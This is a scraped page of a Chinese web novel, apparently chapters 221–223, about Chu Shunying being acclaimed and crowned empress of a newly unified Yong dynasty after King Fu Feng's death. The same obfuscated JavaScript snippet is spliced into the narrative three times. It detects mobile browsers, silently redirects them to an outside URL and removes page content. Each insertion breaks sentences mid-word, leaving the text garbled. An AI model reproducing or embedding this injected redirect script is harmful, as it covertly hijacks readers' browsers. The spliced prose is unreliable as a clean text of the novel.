景樊掸了掸衣袍,昂然出列在殿中跪下,字字掷地有声:“民为贵,社稷次之,君为轻!” 随即,颜遂、苻洹、萧南图……越来越多的人跪下,高声呼喊:“民为贵,社稷次之,君为轻!” 苻沣唇角扬起一丝恍惚笑意,看向元旭:“贵国延光陛下捎来手书一封,劳烦元相代贵国陛下宣读!” 舜英:“?” 手书?承祎除了向苻沣示好,还托元旭带了什么手书? 元旭打了个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15129517|148138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 寒噤,心虚地避开她目光,走到螭陛上,从袖中摸出一封信、展示过用火漆封好那面后,深吸一口气,揭开火漆抽出信笺…… 舜英、苻洵:“……” 这比死人还严实的嘴。很好,这很元旭。 “翊延光王敬问荣建宁陛下无恙,朕即位九年有余,冯氏狼子踞北疆七载,婶母从兄离疏释蹻、苦争恶战,贵邦毁家纾难举国来助,不胜感激。朕虽年幼,也知苍生苦兵祸久矣,今愿背负祖宗之谴责、不世之恶名,为两国生民请命,并两国为一体,止内战、通姻亲、御外敌。 朕自幼失祜,前有权臣跋扈、后有外戚专政,惶惶不可终日,怏怏何须一生?幸有萱堂高义慧心,挽狂澜于既倒,扶大厦之将倾。萱堂乃褚氏长女,忠烈之后、长自公宫,幼时聆三师教诲,以女君之尊辅政五年有余,深谙治国平天下之道。临朝期间,擢拔良才、修明内政、慑服三军、御击外患。 自贵邦立国,翊、荣交战频发,苻、元两氏宿积重,朕愿摈弃元氏国祚,拥立萱堂为天下之主,尊至九五。望贵国陛下以生民为念,顺应天命、共襄盛举!” 三百多字的手书念完,殿堂内更是静得可怕。 舜英如被五雷轰顶,大脑一片空白,呆立在原地。无数道目光从殿中、螭陛上、四面八方射来,那些目光沉默而有重量,沉甸甸压在她身上,她感觉肩膀、脊背又酸又僵,两腿发麻险些倒下。 脚下大地塌陷般的发软,眼前一阵白一阵黑,耳边嗡嗡直响。 忽然,一潭死水般的大殿漾起涟漪,那涟漪越叠越高、逐渐叠成惊涛骇浪,一波一波旋转在身侧、充塞灌注进她两耳。 她恍恍惚惚抬眸望去,只看到满殿跪伏的脊背,螭陛上没有人、身周空空荡荡。苻沣与苻隽为首,背后景樊、苻洹、元旭……还有重伤的苻洵,满殿宗室、大臣跪得整整齐齐。 他们的嘴张张合合,喊着同一句话。 她耳边嗡嗡响了许久,终于听清他们在喊什么—— “恭请皇帝陛下以天下苍生为念,改朝换代,即位九五!” 在这片汹涌的浪潮中,她沉吟许久,缓缓抬起双腿,坚定地、一步一步走上螭陛玉阶,走到最高的那个位置。 “众卿平身!” 苻沣站起来,将写好的传位诏书递给苻隽,摸了摸苻隽的头,柔声说:“隽儿,爹爹不让你背负祖宗责问……可是剩下的路,要你替爹爹走完了!” 语毕,他的手无力垂下,唇角露出如释重负的笑容,慢慢闭上双眼。 苻洹和苻隽眼疾手快,撑住他沉重下坠的身躯,悲声高呼:“恭送吾王殡天!” 群臣泣不成声。 荣建宁十六年、翊延光九年九月十七,建宁王苻沣、延光王元承祎共同奉立褚舜英为天下共主,尊至九五,称“皇帝”,初定国号为“雍”。 北至乌兰、玄阴山脉,南至长流川、滬南道,西至西羌高原雪线,东抵海岸线,皆为大雍国土;率土之滨、皆为大雍之臣。这是继翊桓王后、第二个大一统王朝。 同一天,建宁王在托付社稷之后,含笑安然驾崩。 苻隽继承王位,遵生父意愿、继续与元承祎携手促进两国融合。 狼骑肆掠中原、战火延绵,国都选址、尊号、年号、礼制等琐事千头万绪。雍帝以解决外患为先,提出另择吉日举办登基嘉礼。 其实,得民心者得天下,由两国君主和百官共同拥立的帝王,嘉礼早办晚办、差别甚微。 眼下最紧要的,是奉宁城外源源不断的北宛狼骑。 被拥立为帝同日下午,褚舜英亲自披甲坐镇奉宁城头,指挥调度良将苻洹、班益,士气大振。 221. 人生忽如寄 九月二十五,奉宁城。 霜重鼓寒声不起,褚舜英站在奉宁城头上,透过千里镜专注凝视西北方向,马蹄飞扬、骑在马背上的散骑越来越焦躁。 舜英扬唇一笑:“攻城十多天没进展,损兵折将的,散骑一向军纪宽松、怕是有些稳不住。” “这两天过来的辎重车少了许多,像是粮草被截断……掐指算来,秦川他们送信也该到了”,苻洹思索良久,旋即转身往北走去,“陛下,不若让末将去看看龙骨关方向!” 舜英点头:“朕也去看看,给承赟的诏书也早该到了。” 极目北望,果然,伊河帆樯如云,英平郡烟尘滚滚,裹挟着红色旌旗在扬尘中沉浮,飓风般向奉宁疾驰而来,所有旗帜翻卷着同一个字——翊。 谢朗一马当先,率领七千重骑直冲北宛中军。元承赟率数万轻骑向南、东散作两翼,将攻城的散骑包了饺子。 舜英唇角露出一丝欣然:“果然如此。” 话音刚落,谢恬从城楼下飞奔上来:“禀告陛下,班太尉已在玉照方向设好床弩和伏兵。” 苻洹瞬间了然:“北三郡的地势末将更熟,请陛下准微臣出城,为元都督导引道路。” “正有此意”,舜英看向城下,元承赟正骑马经过护城河岸,遥遥对她躬身施礼,她不禁笑起来、扬声呼喊,“承赟,加把劲,撵狗了!” 元承赟和左肃率领的骑兵前后夹击,冯栩率本想从平虞道入口绕道凤台,却在玉照关遭遇数百台弩床和数量未知的伏兵,马匹受惊纷纷逃窜。无奈之下,冯栩只能率精骑强行突围,过境郅阳、北卢直窜边墙,欲逃回大草原。 刚穿过边墙,从乌兰山隘口散入草原时,天空飘坠着鹅毛大雪,温柔绵亘的洁白地平线上,逐渐显出一线金属森冷、那冷光还在迅速扩大。 铁塔般幽沉的高大身影,包着玄色铁甲的武士、骑乘骨架高大的健马,清脆的铁甲摩擦声响彻雪原,沉重的铁蹄踏地声被雪地吸收,那压迫力却丝毫未减,一步一步逼近。 玄甲营也回来了。 . “冯栩的打法跟你预想的差不多,南宫羽也如你所料、在乌兰山隘口设伏”,舜英轻声说着,将点好的三柱高香递到苻洵手中,“左肃和承赟撵过去了,我跟他们说穷寇莫追,能杀多少是多少,趁着没彻底上冻早些撤。” 他蹙了蹙眉,十分吃力地抬起手臂,将高香插进香炉,挤出一丝微笑:“正该如此,眼下深入草原伤敌一千、自损八百太不划算,明年开春才是好时机。” 苻洵瘦得形销骨立,一身缉边的粗布麻衣、丧冠不緌,唇边潦草地生着一圈胡茬,眼眶凹陷、眼里布满血丝,前所未有的潦草落魄。灵堂搭好后,他一直跪在这儿,困了就跪在蒲团上小睡片刻,醒了继续为苻沣添香守灵。 苻沣过世那天下午,苻洹和景樊率领众大臣,拥立苻隽灵前继位。然后苻洹继续去城门应敌,苻洵与苻隽召来宗正寺、太常寺为先王治丧。 讨论大半天,从几个谥号中择定“桓”,辟土服远曰桓,克敬勤民曰桓,武定四方曰桓,克亟成功曰桓。 守丧第四日凌晨,景樊满身缟素,跪坐于荣桓王灵前无疾而终,享年五十五岁,苻隽为之上谥号“文忠”,停梓宫于建宁王灵堂偏殿,景樊无妻儿兄弟,但朝臣、门生吊唁者络绎不绝。 从永兴四年灵昌宫变,到建宁十六年大雍建朝,这一对明君贤臣相继薨逝,见证了一代沧海横流的落幕。 人生忽如寄,寿无金石固。万岁更相迭,圣贤莫能度。 苻洵将黍稷梗撒入火盆时,苻隽进来在灵前跪下:“父……叔父已经守了七八天,还有重伤在身,望节制哀痛、珍重贵体。” 又垂眸转向舜英,恭声道:“劳烦陛下送叔父歇息养伤。” 他好不容易才习惯称呼舜英为“陛下”,又要开始称呼苻洵为“叔父”。 舜英叹了口气,心疼地摸了摸苻隽柔软的发。矮身揽住苻洵腰身、供他借力站起,好在他并不执意继续守灵,很听话地任她搀着站起。 他一瘸一拐走出几步,站不稳险些摔倒,苻隽忙唤来肩舆,将他二人抬回清泉宫。 苻洵在灵堂跪着睡了醒、醒了睡,七八天未曾梳洗,衣裳有些发馊都浑然未觉。舜英心酸不已,叫来热水和澡豆,试了试水温,然后挥退宫人侍女,开始替他宽衣解带。 一直褪到只剩中衣亵裤,他才如梦初醒,嫌弃地嗅了嗅鼻子:“好几天没洗,都馊臭了,我自己来。” “你那肩胛都穿出俩窟窿,逞什么强?”舜英不由分说摁住他双臂,“别乱动,听话。” 洗澡水微烫,舜英怕浸到他伤口,只将水放到淹没胸前的位置。用帕子擦洗一遍,再将澡豆打出泡沫涂在身上,冲洗干净。又拿起一把小刀,小心翼翼替他刮去胡茬。 接下来是洗头,她先用梳子慢慢替他理顺发丝,再拿瓢舀水一点点浇在头皮上。清洗干净后,捞起头发浸到旁边小盆里,那是何首乌、生芝麻叶、侧柏捣碎拧出的汁,浸了约莫一刻,再替他将头发清洗干净。 她第一次知道,要照顾一个人,仅仅沐浴就这么麻烦。 几年前她连闻噩耗的时候,他这样一丝不苟照顾过她,整整一个月。 他满头湿发如瀑,绺綹乌黑霜白夹杂在一起,舜英挪近炭盆、用帕子替他擦拭水份,再用玉梳一遍遍梳出柔润光泽。 褥子又厚又软,素白被套里填着白天新晒过的棉絮,帐幔也是缟素色,屋子里没熏半点香气,只摆着几盆素白球菊装点。 苻洹和苻隽反复劝说她,天子不应为诸侯王服丧,有偏私之嫌,所以她行走于外时,礼仪服饰皆遵照规制。可是,一回到清泉宫这间屋子,跟苻洵在一起,她就又变成当年那跪在长秋宫,为苻沣敬新妇茶的建业侯夫人。 她活了半辈子,第一次仅仅因品性就如此敬服一个人,苻沣是当之无愧的厚德君子。 有苻洵在,被窝里很快捂得热烘烘的,带着清凉微苦的药味。她谨慎地绕过他伤口,环住他腰身,轻声说:“阿洵,我在。” 然后偏了偏头,一言不发贴紧他。 世间之事,大不过生死,无人可用言语抚平。 苻洵愣怔盯着帐顶,许久,终于流下两颗泪珠,唇角挤出苦笑:“我是个不祥之人,总招来无妄之灾、祸延亲友,实在欠哥哥太多。” 默了半晌,他又幽幽地说:“其实,一直是我离不开他。” 他是苻沣养的第一个孩子,名为兄弟、情同父子,苻沣对他倾注无数心血,打过骂过龃龉过也担忧过。他早已习惯自己在前面冲锋陷阵,哥哥在身后收着他捧去的王位、疆土、众臣,再时不时责打训斥他一番,或是替他兜兜底。 苻沣无需做什么、甚至不必见到,他只要知晓哥哥还在身后,就无比安心。 如今,他永失来处、只剩归途。 淡淡素馨香气萦绕四周,这香气已渗透她骨血肌肤,无需再用香露都能嗅到。苻洵心神镇定了些,偏过头注视着她,轻声宽慰:“别担心,我明天就开始加餐饭……我还有你和知蕤,还要继续去北疆。” 除了苻沣之弟,他还是一名将军,还有未赎尽的罪、未还完的债。 舜英凑过去,馨香的呼吸喷在他脸上,她轻柔地在他额头蹭了几下:“没事,慢慢来。” 舜英在奉宁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15136274|148138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 住了一个多月,有她相伴在侧,苻洵每夜都使用金蝉修复,肩胛的伤愈合得极快,到冬月初已能自如地抬起手臂。 奉宁开始下雪,洁白无垠掩盖了丑陋焦黑的废墟。苻洵站在角楼上望着东南出神,舜英将一件裘氅披在他背上:“别冻着,等几天咱们该搬去洛京了。” 他说:“几个月不见,想女儿了。” 舜英扬唇一笑:“快了,登基大典那时候,承祎会带上所有弟弟妹妹一起去洛京。” 九月二十五,奉宁之围被解后,两国太常寺开始频繁通信,替大雍拟了三个国都:昇阳、奉宁、洛京,舜英选了洛京。元、苻两诸侯王族存世已久,一时无法真正只当作臣属对待,奉宁、昇阳两地仍会聚居大量嫡系子弟。 洛京地处两城之间,以此为国都更显公正。 龙门行宫保存还算完好,待修缮之后改名“长庆宫”,作为大雍皇宫。 腊月初六,元承赟和左肃班师洛京,带回的消息不好不坏:冯栩带来的二十万散骑被剿灭四成、自卸甲各归其部,两万精骑被尽数歼灭,狼卫折损大半,柘枝城也被烧成一片废墟。 但是,冯栩、元昙和他们膝下四子二女,以及支持冯栩的十几个部落单于杳无音讯。 元承赟率领亲兵,顶着白毛风在草原搜了两三遍,没有踪迹、就是没有踪迹。眼看将士们冻得受不住,只得悻悻班师。 “你这教的什么徒弟?”元承赟坐在长庆宫上书房,手伸到火笼旁烤着,大大咧咧埋怨苻洵,又让人捧来一匣药膏,“这是宛平最好的伤药,赶紧拿去用了,明年开春和我去找人,别想偷懒!” 苻洵哑然失笑,一时不知该歉疚还是感激。 元承赟却并不介怀,笑吟吟道:“徒弟都这么厉害,师父更不简单。往后咱们同朝为官,可别吝啬藏私,该指点的必须指点到位!” “东躲西藏这点,还真不是阿洵教的”,舜英从屏风后款款走进来,抬手扶住欲下跪见礼的承赟,又瞪了苻洵一眼,“跪什么跪?你也跟着胡闹!” 苻洵慢吞吞地说:“礼不可废,当年灵昌郊游,陛下的教导言犹在耳。” 舜英无言以对,若非承赟还在,巴不得伸手去拧他耳朵。正编排措辞,房门开开合合,又陆续走进数人:苻洹、苻隽、元承祎、元旭、班益…… 一个又一个,三跪九叩,稽首大拜。 舜英默了半晌:“……先定个规矩,元、苻两族家主及长辈,私下见朕不必多礼。” 于是,承祎和苻隽起身,苻洹和元旭仍跪着,众口一词道:“微臣前来拜见陛下,是为公事。” 舜英知道他们在替自己立威,心头一暖,忙吩咐宫人:“全部赐坐,再加些火笼炭盆来。” 承祎掀了掀眼皮,淡淡道:“劳烦陛下再赐些座位和炭火去玉明殿,随我入京觐见的不少族老年事已高,受不得风寒。” 舜英心底涌起不祥预感:“你怎么把他们弄来的?” 承祎神色更平静:“自然是请来的。” 元旭无端后背发寒,忙赔笑岔开话题:“陛下,这些琐事稍后再议如何?先说说迫在眉睫的几桩大事?” 头等大事,自然是寻找冯栩下落。那匹狼崽子跟个怪物似的,只要还有一口气,用不了多久都能东山再起。 班益叹了口气:“冯栩这样穷凶极恶的暴徒,在北宛民风中很受膜拜。” 承赟点头附和:“沿途遇见不少北宛贵族和武士,死到临头还在宣称冯栩是长生天下凡。” 元旭咽下一口唾沫,艰涩嘀咕:“都什么人……” 苻洵沉吟半晌,忽然缓缓开口:“或许,当年庄王的思路是对的。” 222. 天下共主 苻洵突然提到元旻,众人齐刷刷看向他。 元旭尴尬地轻咳两声,却见周围人都神色泰然、目光平静,尤其是舜英和元承祎,更是淡定得像说不相干的外人。 苻洵娓娓道:“之前我有个误解,一直以为草原各部只敬服绝对力量、没那么重视血统。可为何四百多年过去,北宛仍是冯氏的天下?难道这期间,其余各部从未出过任何超越汗王的强者?” 众人皆垂眸沉思,不止苻洵,他们也一直有这样的误解,如今看来甚是微妙。 元旭也说:“可巧,臣昨夜翻阅史载,发现所谓争权夺势、都只发生在冯氏内部……有什么原因,他们一致认定冯氏为草原之主?” 承赟忽然开口:“我曾听归顺的牧民说过,狼主只有狼血家族才能诞生。” 一句正确的废话…… 承祎却眼瞳一缩,看向苻洵:“请教苻将军,冯栩在你手底学了多久兵法?” 苻洵:“不到两年。” 众人面面相觑,唏嘘不已,舜英立即反应过来:“他不是被你教会的,他是天生就会……他血脉里自带善战天赋,就像埋藏在地底的石脂,原本就在那,你不过恰好经过、点燃了它。” 她默了片刻,将那句“就像蛮疆圣女传承”咽下。 承赟恍然大悟:“所谓狼主,骁勇善战、手段狠辣,当年布日固德也不过普通牧民,十几岁就无师自通组建骑兵,四十多岁统一草原……牧民那句话的含义是,冯氏血脉有很高几率诞生善战之辈。” 元旭点头附和:“从历代朔北被北宛侵扰的记录看来,狼血家族的确如此,冯栩也只不过是最出类拔萃之一。” 苻洹接口:“这就说得通了,这种血脉自带天赋、犹如悬顶之剑,致使草原二十三部无人敢轻视任何冯氏子弟。” 元旭想了半晌,蹙眉问:“若草原二十三部只臣服冯氏,咱们即便清剿冯栩,又如何保证后代不会出现另一个狼主?” “此事并不难办”,苻洵轻描淡写说,“杀光最后一个冯氏子弟,再将二十三部有战力的青壮屠一遍。” 元旭打了个寒噤,却见苻洵瞟向舜英,悠悠道:“陛下仁善,必不肯如此草菅人命……” 元承赟也问:“还有其他法子吗?” 苻洵却只笑吟吟看向舜英,一言不发。 承祎思索片刻问:“赟二哥,冯广年族中是否还有男婴,不超过三岁的那种?” 舜英紧蹙的眉略微舒展,瞥了承祎一眼:“此事容后再议。” 承祎顿时了然,唇角微微上翘:“儿臣遵命,再向陛下求个恩典……借赟二哥用用,有些家事需要处置。” 元旭心中不祥预感更浓,弱声请求:“微臣也有些家事,恳请先行告退。” 舜英脑袋顿时大了几分,瞥了一眼满脸兴味的承赟:“阿洵去安置一下荣王和苻太尉,朕也有些家事。” . 距玉明殿还有百丈远,就听里面寻死觅活的哭喊、唉声叹气的劝解,以及杯盘摔碎的脆响。 看清殿内场景时,憋了许久的承赟终于忍不住噗呲笑起来。 一部分人磕得头破血流,另一部分人在低声劝解,不时听见“天地祖宗”、“数典忘祖”、“窃国篡权”之类的词汇。 承祎走到殿门,对承赟躬身一礼,声音不轻不重、清晰得刚好能传入殿中:“赟二哥,你军中还缺士卒么?” 承赟扫视过满殿连滚带爬磕头哭骂的人,挑了挑眉:“缺啊,可他们这身板、一看就被酒色掏空了,不够格。” 承祎真诚地叹了口气:“那可太遗憾,赟二哥你再看看,勉强当个伙夫脚夫、给条活路吧?好歹血浓于水,总不能眼睁睁看他们饿死。” 元旭:“……” 人怎么能黑心得这样一本正经? 所有国家的宗室子弟,都分为两种。 一种有功劳、有爵位或是在朝中有职务,大雍开国之初、正是用人的时候,这些人的爵位或职务可能还会有提升。战乱年代大都以武立国、以军功封爵,上过战场的人都懂战争有多残酷,对如此兵不血刃的统一持赞同态度。 另一种无爵无职、不事生产,要么依赖宗正寺拨发月钱帛米过活,要么傍着宗室的名头、四处作掮客打秋风。傍身的姓氏不再是王族,相当于断了他们生存来源。 两国融合,闹得最凶的自然是第二种。 第二种人嚎啕哭闹,指责第一种人数典忘祖、卖国叛贼,为了不打仗居然把社稷拱手让与外姓。 承祎厌烦这些禄蠹已久,听见此话两眼一亮:“我元氏宗亲还有如此不畏战争、不惧生死的好汉,赟二哥,可得好好收入军中、人尽其才。” 然后大笔一挥,令班益写了封征兵书,闹事的宗室子弟赫然在列,然后热烈邀请承赟去挑伙头兵。 处世之道,离不得“中庸”二字,元承祎搭好戏台、唱了一出大黑脸。舜英再适时出现,命元旭掏出早就备好的地契——东原道良田百顷,作为元氏宗族祭田,官塾、保育院、康养院、义诊署甚至墓地都一应俱全……从呱呱坠地到陵寝掩埋,不说多富贵,起码舒适无忧。 相对来说,荣国宗室对这样处置方案接受得更快,毕竟那些闲散子弟刚从奉宁之围死里逃生,对褚舜英等人感恩膜拜、心悦诚服。 这个年节过得繁忙热闹,无数砥柱从阊江和奉宁赶来洛京。昇阳王宫和奉宁城需要修缮重建,旧王宫降低规制、安置诸侯王宗族,拟订新朝官制、户籍和赋税制度、法典……各项要务如火如荼。 最最紧要的,是筹备登基嘉礼。 . 大雍仍奉凰羽寺为国庙,腊月二十三,大祭司率门下弟子亲入长庆宫,为褚氏国祚庆贺祈福。同日,为长庆宫大殿题名“北辰殿”,献定光剑供奉于褚氏宗庙,并赠予一方早已刻好的传国玉玺。 大祭司说:“元晴过世前一个月,将这方玉玺送至凰羽寺,托付我们待天下一统,就将此送至洛京。” 舜英手臂不住颤抖,轻柔抚摸着那方坚实洁白的玉石,再无声攥紧,像是隔着时空、再次握紧故人温热的手。 捏住雕成重明的玺钮、抬起玉玺,分明只有巴掌大小,却重逾千钧:社稷之重、河山之重、黎民之重,无法称量。 压入印泥盒、饱蘸龙泉泥,按上素白绢帛,清晰显出玉玺底部用古篆刻着的八个字——首出庶物,万国咸宁。 次日,褚舜英定大雍开国年号为“咸宁”。又因褚氏族徽重明,大雍为火德,尚红色。 咸宁元年正月初一,大雍开国皇帝褚舜英,于洛京长庆宫北辰殿登基。是日,西羌诸国皆来朝拜,就连与世隔绝的蒙舍王也派使者前往致礼。 洛京下了十多天大雪,这天清晨突然雪霁天晴,朝阳自阳华山凰羽寺屋脊后升起。天空的积云、残月、群星一扫而空,浮西山、崇山、戎陵……千山万山火红如燃,洛川水面金光粼粼。 九天阊阖开宫殿,万国衣冠拜冕旒,日色才临仙掌动,香烟欲傍衮龙浮。 褚舜英头戴赤金旒冕,垂白玉珠十二旒,玄衣八章,分别为日、月、星、螭龙、山、重明、凤凰、宗彝;纁裳四章,分别为藻、粉米、黼、黻。冕服集两国之大成,以重明为尊,和光同尘。 她脊背端直、昂首挺胸,手持定光剑为仪剑,肃然走过庆贺嘉礼的列国使臣、走过分列两行的文武百官、走过排在殿前元氏和苻氏宗亲,走过玉阶上黑压压的侍卫和宫人。 在天地的见证下,就那样一步又一步,走向玉阶尽头的至尊帝位。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15140562|148138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 晨光打在北辰殿的屋脊上,当她走到玉阶顶端北辰殿匾额、面向众卿时,金红交错的琉璃屋面忽绽出一圈光晕,端端衬在她背后,映得她宛如九天神祇。 “铛——”朱雀门上大钟敲响,穿云裂石。 阳华山、崇山密林扑簌簌响动,飞出一群又一群朱羽巨鸟、欢愉清鸣,深红色长尾、羽毛斑斓艳丽,轻盈得像一阵风、掠过昇阳旧王宫殿堂,落在长庆宫深红琉璃屋脊上。 同时,城西戎陵山传出三声震耳欲聋的咆哮,天地、群山、洛川随这咆哮抖了三抖。 元承祎带头稽首:“丹鸟齐飞,天降祥瑞,元氏阖族祈祝大雍江山千秋万代!” 苻隽亦稽首高呼:“河清社鸣,白狮啸林,苻氏先祖祝颂大雍国祚绵长永延!” 在场的元、苻族老神色恰到好处显出震悚和惊喜,纷纷跟随承祎或苻隽三跪九拜,高声附和。 “铛铛——” 赤阳桥上,仪仗步兵从洛川南岸一直排到北辰殿前;洛川、伊河,白茫茫船帆一眼望不到边;澄洛驰道、怀阳城南伊河堤岸,健马铁骑呈一字排开,肃然无声。 玄甲营、龙骧军、三郡二州铁骑、三川两湖水师……大雍境内所有精锐将领,率亲兵齐聚洛京。 伴随连续的钟鸣,苻洹、班益、苻洵、元承赟、周士承、陆斐、左肃、南宫羽……无数名将不约而同单膝下跪,率麾下亲兵高声祝颂:“誓死效忠大雍皇帝陛下!” “铛铛铛——” 宗族、百官、使臣齐齐下跪,高声呼喊:“吾皇万岁万岁万万岁!” 拜!再拜!三拜! 山呼声一浪迭过一浪,排山倒海,响彻云霄。 皇天无亲,惟德是辅;民心无常,惟惠之怀;众望攸归,曾无与二。 . 咸宁帝登基同日,册封元承祎为端王、苻隽为宁王、苻洹为武安王、元承赟为宣庆王。 战乱时代,王族常启用宗室为肱骨砥柱,苻、元两族多善战之辈。开国之后,若仍由两姓手握重兵,就算这一代不出事,传承个几代,难免尾大不掉、藩镇割据,不如彻底推陈出新,分散兵权、起用异姓良将。 这也是登基嘉礼之前,苻洹和元承赟主动提出的。 “长痛不如短痛,趁开国伊始把规矩定了,免得过上百十年捅出更大篓子”,承赟十分坦荡,“祖父和父亲搭进去半辈子的事,如今也算得偿所愿。” “等平定北宛,臣也可解甲归田”,苻洹眉间全是惬意,“不承想这辈子过上不用打仗、安享富贵的日子,舒坦!” 他二人有如此胸襟气度,舜英十分庆幸。 登基之后,依旧例应当册封皇夫,褚秋水作为新帝唯一的长辈,早已命宗正寺前往奉宁,三书六礼聘苻洵为皇夫,已过完纳征订婚之礼。出乎意料地,两边没传出一丝反对声。 翊国一向民风开放,立国至今出过不少女王,都觉得既然已经改朝换代,新帝册封新皇夫也是水到渠成,跟君王续娶继后别无二致。 褚舜英虽曾为元氏冢妇,开创大雍却并未依托此身份,更多是三军拥戴、民心所向。两国和平融合,她从原有宗室中择选皇夫,更符合怀柔惯例。 仅仅有几分遗憾,这与之比肩的皇夫之位,最终花落苻氏而非元氏。但转念一想,咸宁帝膝下两子两女,仅有一女是苻氏血脉,长子已显出担当大局的能力,又觉得皇夫之位影响不了什么。 荣国经历奉宁之围,元气大损,全巴不得抱这位高权重的女人大腿更紧些,娶苻洵为皇夫,有名有份,简直天上掉馅饼的喜事。 宗正寺已在悄悄商量着礼仪程序、袍服规制等,只等咸宁帝一道圣旨。 却猝不及防被苻洵叫停,自称为兄服齐衰一年,禁宴乐嫁娶。 223. 宗庙供奉 荣立国以来,国孝家孝的服丧大都以月代年。无他,国君更迭频繁,若都老老实实服丧,不婚姻嫁娶,人口无法恢复。 但苻洵奏请服丧一年,从道理上无可辩驳,册封仪式也只好暂时作罢。 正月初七,褚舜英册封苻洵为宸王,享出入不禁之权,“宸”之封号极尽尊贵、位同副帝。 次日,奉生母褚秋池灵位于宗庙,追封雍孝宗,大虑行节曰孝,敬慎所安曰孝,志不忘亲曰孝,徽音克嗣曰孝。 宗庙分四殿,主殿供奉褚氏祖宗,后殿为昭节祠,两国历代名将重臣贤良,如武煊、姜嫣、景樊、贺浮白、辛佑安等,与天子共飨血食。 “听姐姐说了许久,终有幸拜见”,苻洵跪在灵位前,神色肃穆端静、带几分忐忑,“小婿苻洵拜见泰水大人!” 跪拜之后,他从旁拿起一枝新鲜忍冬藤、一截梧桐枝,谨慎地缠着,缠好一枝再来一枝,一共九枝。褚秋水已将天水碧瓷瓶灌注半瓶清水,苻洵接过来,将缠好的忍冬藤供进瓶中,放上香案。 供鲜果时,众人齐齐犯了难,褚秋水道:“小时候吃食少,好容易得些鲜果,姐姐和娘总说不爱吃,全都留给我。我至今也不知姐姐爱吃什么。” 元旭思忖半晌揣测:“听滬南传言,她喜欢吃沵州的荔枝,还必须是从树上新摘下、不超过半个时辰的鲜果。” 郑锦珠笃定摇头:“那是堂兄喜欢吃,假借她的名头。” “桑葚”,门口照进的光暗了暗,元璟款步走进来,手中拿着一幅卷轴,“那年在金州,她有次偷偷问我要青盐。说是偷吃桑葚,染得嘴巴乌黑,回去了会被嫡母责打。” 头顶的灵位只有两层,最高那层孤零零是的褚秋池牌位,偏下一层稀稀拉拉立着褚钧良、褚钧威等族弟牌位。舜英接过卷轴展开,轻身一旋,将小像端端正正高挂上后壁,画中女子姿容姝丽、神态清冷如月宫仙子。 她眉眼沉静,注视着殿外巍峨玉阶、茫茫白地,薄唇微勾、轻笑带几分凉薄讥诮。 舜英倒退几步看了片刻,目光又扫过两排灵位,笑容冰冷:“他们欺你、辱你、害你、瞧不起你,我偏要让他们和子孙后代,在你们面前,永远只能跪着。” 一群人走出宗庙,舜英径直走向集贤殿,元旭紧随其后,其余人各归其所。 元旭在大雍仍领丞相之职。奉宁之围解除后,他率先抵达洛京,一边修缮宫殿,一边马不停蹄从阊江和奉宁召集一帮官员,热火朝天修订新朝各项制度。 新朝用新法,舜英武将出身,对这些管理制度体系只会用、不会造,更不会改革。于是初初提了些方略,其余放手给元旭和云飞燕等人,又求元璟四处找寻隐居的名士。 她并未担心太久,大雍立国结束了持续三百多年的中原内战,民心所向,自有大儒为其辩经。以虞正则、曲雍和为首的名士纷纷赶往洛京投奔明主,参与各项制度修订,集贤殿盛况空前。 “等冰消雪化,碧宁书院又可以开山收徒了”,舜英巡视完集贤殿后,在游廊上边走边与元旭闲聊,“集两国学子,碧宁书院可以再扩建。” “扩建倒是简单”,元旭思索片刻,沉声道,“只是……太平年代文教必会兴盛,眼下这些事都是地方上管理,可否在中枢单设一个部门?” 想了想又说:“丞相、太尉和御史大夫事物过于集中,对如此疆域可能会力不从心。” 舜英心念一动,顿时明白他在暗示这两职务权力过大,需分散制衡。于是停了脚步,听他继续往下说。 元旭又说:“九卿之中有六卿,只掌管宫廷事务。” 舜英笑了:“赋税和兵马是当务之急,先理个大章。吏治、户籍、律法这些又繁琐又紧要,大改需十分谨慎,不如先参考前朝用着……修订时广进言路,先拿几个郡县试试、若有不妥还得调整,理个十年八年也无妨。” 元旭得到准话,松了口气,跟在她身后边走边闲扯家常。 舜英笑了笑:“有事不妨直说。” 元旭酝酿半晌,艰涩道:“事关冯太后迁宫……” 舜英有些讶异:“她不是好好在昇阳住着?” 元旭鼓起勇气,讷讷道:“臣斗胆请求,将冯太后移出昇阳旧宫,或是让端王殿下长居洛京。” 舜英霎时明了,脸上显出糟心:“差点忘了他俩。” 去年,舜英离开阊江之后,承祎并未表现出对冯太后的敌意,一应供养如故,直到冬月底阖族迁徙…… 